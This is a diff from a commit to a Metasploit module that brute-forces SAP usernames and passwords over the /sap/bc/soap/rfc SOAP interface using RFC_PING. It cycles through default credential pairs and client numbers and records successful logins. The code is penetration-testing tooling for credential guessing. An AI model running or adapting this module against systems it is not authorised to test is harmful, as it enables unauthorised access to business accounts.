@@ -27,23 +27,31 @@ class Metasploit4 < Msf::Auxiliary
27
27
28
28
def initialize
29
29
super (
30
- 'Name' => 'SAP SOAP RFC Brute Forcer (via RFC_PING) ' ,
30
+ 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_PING Login Brute Forcer ' ,
31
31
'Description' => %q{
32
- This module attempts to brute force the username | password via an RFC
33
- interface (over SOAP). Default clients can be tested without needing to set a
34
- CLIENT. Common/Default user and password combinations can be tested without needing
35
- to set a USERNAME, PASSWORD, USER_FILE or PASS_FILE. The default usernames and
36
- password combinations are stored in ./data/wordlists/sap_default.txt.
37
- } ,
38
- 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ] ] ,
39
- 'Author' => [ 'Agnivesh Sathasivam' , 'nmonkee' ] ,
40
- 'License' => BSD_LICENSE
41
- )
42
- register_options ( [
43
- OptString . new ( 'CLIENT' , [ false , 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)' , '000,001,066' ] ) ,
44
- OptBool . new ( 'DEFAULT_CRED' , [ false , 'Check using the defult password and username' , true ] )
32
+ This module attempts to brute force SAP username and passwords through the
33
+ /sap/bc/soap/rfc SOAP service, using RFC_PING function. Default clients can be
34
+ tested without needing to set a CLIENT. Common/Default user and password
35
+ combinations can be tested just setting DEFAULT_CRED variable to true. These
36
+ default combinations are stored in MSF_DATA_DIRECTORY/wordlists/sap_default.txt.
37
+ } ,
38
+ 'References' =>
39
+ [
40
+ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
41
+ ] ,
42
+ 'Author' =>
43
+ [
44
+ 'Agnivesh Sathasivam' ,
45
+ 'nmonkee'
46
+ ] ,
47
+ 'License' => MSF_LICENSE
48
+ )
49
+ register_options (
50
+ [
51
+ Opt ::RPORT ( 8000 ) ,
52
+ OptString . new ( 'CLIENT' , [ false , 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)' , '000,001,066' ] ) ,
53
+ OptBool . new ( 'DEFAULT_CRED' , [ false , 'Check using the defult password and username' , true ] )
45
54
] , self . class )
46
- register_autofilter_ports ( [ 8000 ] )
47
55
end
48
56
49
57
def run_host ( ip )
@@ -81,8 +89,7 @@ def run_host(ip)
81
89
"pass"
82
90
] )
83
91
if datastore [ 'DEFAULT_CRED' ]
84
- datastore [ 'USERPASS_FILE' ] = Msf ::Config . data_directory + '/wordlists/sap_default.txt'
85
- credentials = extract_word_pair ( datastore [ 'USERPASS_FILE' ] )
92
+ credentials = extract_word_pair ( Msf ::Config . data_directory + '/wordlists/sap_default.txt' )
86
93
credentials . each do |u , p |
87
94
client . each do |cli |
88
95
success = bruteforce ( u , p , cli )
@@ -91,13 +98,12 @@ def run_host(ip)
91
98
end
92
99
end
93
100
end
94
- else
95
- each_user_pass do |u , p |
96
- client . each do |cli |
97
- success = bruteforce ( u , p , cli )
98
- if success
99
- saptbl << [ rhost , rport , cli , u , p ]
100
- end
101
+ end
102
+ each_user_pass do |u , p |
103
+ client . each do |cli |
104
+ success = bruteforce ( u , p , cli )
105
+ if success
106
+ saptbl << [ rhost , rport , cli , u , p ]
101
107
end
102
108
end
103
109
end
@@ -114,9 +120,6 @@ def bruteforce(username,password,client)
114
120
data << '</env:Envelope>'
115
121
user_pass = Rex ::Text . encode_base64 ( username + ":" + password )
116
122
begin
117
- success = false
118
- error = [ ]
119
- error_msg = [ ]
120
123
res = send_request_raw ( {
121
124
'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN' ,
122
125
'method' => 'POST' ,
@@ -128,25 +131,23 @@ def bruteforce(username,password,client)
128
131
'Authorization' => 'Basic ' + user_pass ,
129
132
'Content-Type' => 'text/xml; charset=UTF-8' }
130
133
} , 45 )
131
- if res and res . code == 401
132
- success = false
133
- return success
134
- elsif res and res . code == 500
135
- response = res . body
136
- error . push ( response . scan ( %r{<faultstring>(.*?)</faultstring>} ) )
137
- error . push ( response . scan ( %r{<message>(.*?)</message>} ) )
138
- success = false
139
- elsif res and res . code == 200
140
- success = true
141
- return success
142
- end
143
- if success
144
- err = error . join . chomp
145
- print_error ( "[SAP] #{ rhost } :#{ rport } - #{ err } - #{ client } :#{ username } :#{ password } " )
146
- end
147
- rescue ::Rex ::ConnectionError
148
- print_error ( "[SAP] #{ rhost } :#{ rport } - Unable to connect" )
149
- return
134
+ if res and res . code == 200
135
+ report_auth_info (
136
+ :host => rhost ,
137
+ :port => rport ,
138
+ :sname => "sap" ,
139
+ :proto => "tcp" ,
140
+ :user => "#{ username } " ,
141
+ :pass => "#{ password } " ,
142
+ :proof => "SAP Client: #{ client } " ,
143
+ :active => true
144
+ )
145
+ return true
150
146
end
147
+ rescue ::Rex ::ConnectionError
148
+ print_error ( "[SAP] #{ rhost } :#{ rport } - Unable to connect" )
149
+ return false
151
150
end
151
+ return false
152
152
end
153
+ end
0 commit comments